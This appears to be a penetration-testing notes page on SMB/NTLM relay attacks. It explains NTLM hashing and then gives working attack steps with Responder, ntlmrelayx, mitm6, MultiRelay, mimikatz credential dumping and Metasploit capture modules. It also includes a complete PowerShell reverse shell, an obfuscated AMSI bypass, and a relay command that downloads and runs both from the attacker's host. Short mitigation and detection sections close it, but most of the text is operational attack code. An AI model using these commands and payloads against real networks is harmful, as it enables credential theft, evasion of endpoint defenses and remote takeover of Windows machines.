SMB/NTLM Relay

Instead of cracking the hashes, relay theme to specific machines and potentially gain access. "SMB signing" must be disabled on the target, relayed user credentials must be admin on machine.

NT/NTLM Protocols & Hashes

The authentication protocol used between Windows clients and servers is called NTLM (NT LAN Manager). Although NTLM has been replaced by Kerberos, it is still widely used and supported in Windows machines. For example, it is used either when the client is authenticating to a server using an IP address or, when the client is authenticating to a server that does not belong to the same domain.

NTLM authentication is a challenge/response protocol and consists of three messages: Type 1 (negotiation), Type 2 (challenge) and Type 3 (authentication).

The whole challenge/response works like this:

  1. The client sends the Type 1 message, which contains the

    user name (in plaintext)

  2. The server generates the challenge and sends it back to the

    client

  3. The client encrypts the challenge with the hash of the user

    password and returns the results of the computation to the

    server

the actual password is never sent on the network, since it is hashed and encrypted. The schemes used to encrypt and send the Type 3 response have changed over the years due to lack of security.

The very first scheme was LM, which turned out to be very simple and easy to crack. As a result, it was replaced by NTLM, which in turn was deprecated by NTLMv2 and finally Kerberos at the end.

recent Windows operating systems might still store LM hashes for backward compatibility and send them with the NTLM protocol.

LM hash

The algorithm used to compute the LM Hash is DES and here are the steps used by Windows to do so:

NTLM hash

The computation of the NTLM Hashes is still very simple:

• The user’s password is converted to UNICODE

• MD4 is then used to get a 16-byte long hash By using UNICODE, the allowed charset is much wider.

Although it address some LM flaws, it is still considered weak. Moreover, the NTLM response is sent together with the LM response, most of the time .

he goal of our attack is to gain the password hash through the implementation of this protocol. During the attack we will impersonate the server. Notice that the most important part of the protocol is step 3, where the client hash resides.

The generated hash (16-bytes long) is padded with 5 null bytes making it a 21 bytes string.

Note: this is called NTLM hash that is different from the NT hash!!!

This 21 bytes string is split in 3 blocks, 7 bytes long each + 1 parity byte. The response will be then 24 bytes long.

Each of these blocks will be the key to encrypt the Server challenge sent during message 2.

Note that in the attack scenario we impersonate the server, and then the challenge is chosen by us.

The entire computation will looks like as follow:

No diffusion, meaning that each part of DES output is not linked to the previous one. This allows attacks on the three blocks individually.

The only randomness in the protocol is the server challenge (step 2 of the protocol).

• Again, we impersonate the server so we control that.

There are two methods we can use :

  1. Force the client (target) to start a connection to us (fake server)

  2. Use Man-in-the-Middle techniques in order to sniff the client response

impacket-ntlmrelayx + Responder

impacket-ntlmrelayx -tf targets.txt -wh hacker-wpad --delegate-access -smb2support --remove-mic
responder -I vboxnet0 --lm -v -P -F -w -d -b

first go to responder config file and disable smb and http:

nano /usr/share/responder/Responder.conf

detect machines with smb signing disabled

 nmap --script smb2-security-mode -p 445 192.168.56.1/24

we can also use crackmapexec to generate a list of all hosts in a network with SMB signing disabled:

crackmapexec smb 172.16.1.1/24 --gen-relay-list target.txt

turn off smb and http in responder settings

responder -I vboxnet0 -rdwv

apt install impacket-scripts

python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf target.txt -smb2support

trigger the attack by opening the attacker ip in the user machine with smb relay turned off

Get an SMB Shell

python mitm6.py -d megacorp.local -i vboxnet0

we can add -i to get an smb shell if posible

ntlmrelayx.py -6 -t smb://192.168.56.115 -wh fakewpad.megacorp.local -l lootme  -i

we can connect to the shell with netcat:

nc 127.0.0.1 11000

now we are in the victims share directory

-e [payload.exe]  → to run a payload generated on attackers machine

-c [command] → execute the specified command

we can use this instead of ntlmrelayx and get a system level interactive shell:

python /usr/share/responder/tools/MultiRelay.py -t 192.168.56.119 -u ALL

if you get error while running the system commmands just edit the multirelay config file and add the right path for syssvc.exe and mimikatz which can be found with ‘locate MultiRelay' commnad:

after triggering the host we have this:

we can run mimicatz commands with mimi [cmd]:

mimi sekurlsa::logonpasswords
mimi sekurlsa::wdigest
mimi sekurlsa::Kerberos​

Meterpreter Shell

we can also use this cmd shell to pop a meterpreter shell:

use exploit/windows/misc/hta_server
set payload windows/x64/meterpreter/reverse_tcp

now in the cmd shell from multirelay type in :

mshta.exe http://192.168.56.1:8080/BdssjDFeW7IDPKF.hta

done!

MS08-068

SMB Relay with Metasploit

The first item we need to address in this exploitation process, is to create a listening SMB service that will both accept incoming connections, and send back a fixed challenge. As you can imagine, we use a fixed challenge to help us in decrypting the response. Although there are many tools that allow us to do this, we will use the following Metasploit module:

auxiliary/server/capture/smb
use auxiliary/server/capture/http_ntlm
set JOHNPWFILE httpntlm.txt
run
use auxiliary/server/capture/smb
set JOHNPWFILE smbhashes.txt
run
use auxiliary/spoof/llmnr/llmnr_response
set spoofip 0.0.0.0
set interface vboxnet0
run
use auxiliary/spoof/nbns/nbns_response
set interface vboxnet0
run

set the JOHNPWFILE option in order to tell Metasploit to automatically save the hashes to a file. Notice that these hashes will be automatically saved and formatted to work with john the ripper.

set JOHNPWFILE hashpwd

Once the Metasploit listener is set up, we can move on the next step:

One of the easiest ways to force the initiation of the NTLM protocol is through SMB authentication. For example, we can embed a Universal Naming Convention (UNC) path ( \SERVER_IP\SHARE ) into an email message or a web page.

This again, will force the victim’s system to authenticate to the SMB listener on our machine. The following HTML tag will do just fine:

<img src="\\192.168.102.147\ADMIN$">

It is very useful to know that when the password length is less than or equal to seven characters (i.e. 1235467), the last 8 bytes of the NTLM response are always the same: 2f85252cc731bb25

NTLM Relay + Empire

NTLM Relay + AMSI Bypass

Combining NTLM relay with empire one-liners is not effective in a modern Active Directory Environment with latest windows security updates because AMSI has evolved and the payload is easily detected and blocked.

This technique will use the same principles of NTLM relay but with a simple trick to bypass AMSI and get a reverse shell, the AMSI bypass script and reverse shell payload can be different but the one i am using here could bypass windows 10 pro update 1/20/2020 with windows defender and AMSI enabled.

find hosts with smb signing disabled:

crackmapexec smb 192.168.56.1/24 --gen-relay-list targets

simple powershell TCP reverse shell payload (catch with netcat or metasploit multi/handler):

rev.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();

AMSI bypass payload (try using other payloads if this doesn't work):

bypass.ps1
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

run a python http server to serve these files:

python3 -m http.server 9000

run responder and ntlmrelayx with a powershell command to load the scripts in memory and execute them in the same powershell session (otherwise the bypass wont work):

 responder -I vboxnet0 -dw
 
 impacket-ntlmrelayx  --delegate-access -smb2support -tf targets -c "powershell -ep bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.56.1:9000/bypass.ps1');IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.56.1:9000/rev.ps1')"

now when responder gets new hashes, ntlmrelayx will relay them and if the login was successful, power powershell command will load bypass and reverse shell scripts in memory and execute both og them to bypass AMSI and we get a shell.

Mitigation

  • Enforce SMB signing - turn on SMB Signing on all machines in the network.

  • Block NTLMNv1- NTLMv1 is considered significantly less secure than its more recent version, the NTLMNv2.

  • Enforce LDAP/S Signing- to prevent NTLM relay in LDAP, enforce LDAP signing and LDAPS channel binding on domain controllers.

  • Enforce EPA- to prevent NTLM relay on web servers, harden them to accept only requests with EPA.

  • Reduce NTLM usage- even after all measures were taken. The best thing you can do is to simply reduce the NTLM usage. As NTLM poses a significant risk, it is recommended that you remove it where it is not needed.

The only way to be totally safe from SMB/NTLM relay attacks is to completely disable NTLM authentication and switch to Kerberos.

This might not always be possible as a lot of old services and applications have some issues with Kerberos.

Detection

  • Get all NTLM logons where the session has admin privileges

  • Get all hostnames and their IPs using one of the methods above

  • Use left anti join to find logons where the Network Address in the NTLM logon event doesn’t match the IP of the host in step 2.

False Positive/Negative Considerations

  • If you have load balancers or other devices that perform SNAT, authentications coming over these devices will be seen as relayed. These IPs need to be whitelisted. There is a false positive and false negative risk in this case.

  • Devices that are not joined to a domain always perform NTLM authentication. Baselining with historical logon events will reduce false positives. Alternatively, hostname and IP address info can be obtained and whitelisted manually.

  • NTLM relaying of machine accounts can’t be detected using the above logic if the machine logon events are used as the single source of truth for hostname — IP pair. This is a rare scenario but it might be critical like in the PetitPotam case. Critical computer accounts can be monitored using the same logic and using a manually created hostname-IP list. Since the attack surface most likely is the servers, DNS records might be a good option.

  • Sometimes, the Workstation Name/Network Address doesn’t appear in the logs.

Last updated